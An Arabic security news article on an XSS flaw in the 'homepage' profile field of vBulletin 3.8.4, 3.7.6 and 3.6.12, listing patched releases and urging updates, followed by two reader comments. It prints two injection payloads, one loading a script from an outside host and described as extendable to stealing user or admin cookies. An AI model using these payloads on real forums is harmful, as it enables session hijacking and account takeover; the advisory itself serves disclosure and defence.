أخبار الثغرات

ثغرة XSS في منتديات vBulletin 3.8.4

تم أرشفة هذا المحتوى


أطلقت شركة Jelsoft تحديثات لعدّة اصدارات من سكريبت المنتديات vBulletin وذلك لوجود ثغرة XSS اكتشفت مؤخّراً في صفحة الملف الشخصي وأصابت الاصدارات 3.8.4 , 3.7.6 و 3.6.12 حيث يستغل المهاجم خطأ في طريقة تحقق سكريبت vB من حقل “الصفحة الشخصية” بشكل صحيح مما يمكّنه من زرع كود Javascript مكان رابط الصفحة الشخصيّة.

vBulletin

 

في الملف الشخصي يستطيع الأعضاء وضع رابط للصفحة الشخصيّة, يتأكد سكريبت vBulletin من وجود www في الرابط الذي وضعه المستخدم أو عن طريق Regex يتحقق من مدخلات المستخدم (الأحرف a-z , الأرقام 1-9 بالاضافة لوجود ://).

بهذه الحالة يستطيع المهاجم وضع الكود التالي في حقل الصفحة الشخصية:

javascript://%0adocument.write(‘<script>alert(0)</script>’)

مما يؤدي لظهور نافذة تحتوي على الرقم 0 وهذا يدل على تشغيل كود الجافاسكريبت أو يقوم المهاجم بوضع الكود التالي:

javascript://%0adocument.write(‘<script src=http://intern0t.net/.k></script>’)

لتحويل المستخدمين لموقع آخر بشكل تلقائي (من المحتمل تطوير الاستغلال السابق ليعمل على سرقة الكوكيز الخاصّة بالمستخدم أو مدير المنتدى وارسالها الى المهاجم وهذا يمكّنه من الدخول الى المنتدى باسم المستخدم أو مدير المنتدى دون الحاجة لمعرفة كلمة مرور).

شركة جيل سوفت أطلقت الاصدارات التالية لاصلاح الثغرة السابقة:

  • vBulletin 3.8.4 PL1
  • vBulletin 3.7.6 PL1
  • vBulletin 3.6.12 PL2

 

نحن ننصح الجميع بالتحديث بأسرع وقت ممكن عن طريق تحميل الرقع الأمنية من صفحة المشتركين في موقع vBulletin مع ملاحظة أنك ستحتاج الى رخصة فعّالة لتتمكّن من دخول منطقة المشتركين وتحميل الرقع الأمنيّة السابقة.

الجدير بالذكر أن استغلال هذه الثغرة انتشر بعد أن أطلقت شركة Jelsoft الاصدارات المحدثّة (مكتشف الاستغلال قارن الملفّات قبل وبعد التحديث ثم استنتج مكان وجود الثغرة).

 

لمزيد من المعلومات: InterN0TvBulletin Community Forum

‫6 تعليقات

  1. كالمعتاد قالو بان ثغرات الفي بي انتهت خلاص ويمكن ثغرات الانكلود ؟؟؟ انحسرت
    والاختراقات القادمه بغير طرق؟؟ تعددت الثغرات والاختراق واحد؟؟
    هذا يدل على انو الحماية والاختراق سويان؟؟ لو كان محمي اليوم غدا اكيد لا والعكس صحيح
    شكرا اخي عبد المهيمن واكيد راح يتم سرقه الكوكيز ؟؟ اذا ما تم ترقيع الثغره

  2. تعرف مالمشكلة ياعبدو .. لو اطلعت على الكود البرمجي
    سوف تجد سوء ترتيب في الكود .. وهذه الشيء هو الي يسبب وجود الاخطاء والثغرات

    وايضاً اصبح الان الاصدار vBulletin 3.8.4 PL1 يحتوي على كم هائل جداً من الاكواد البرمجية .. مرة قريت مقالة يقولون وصلت للمليون سطر !!

    شكراً لك على المقالة ..
    تحياتي

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى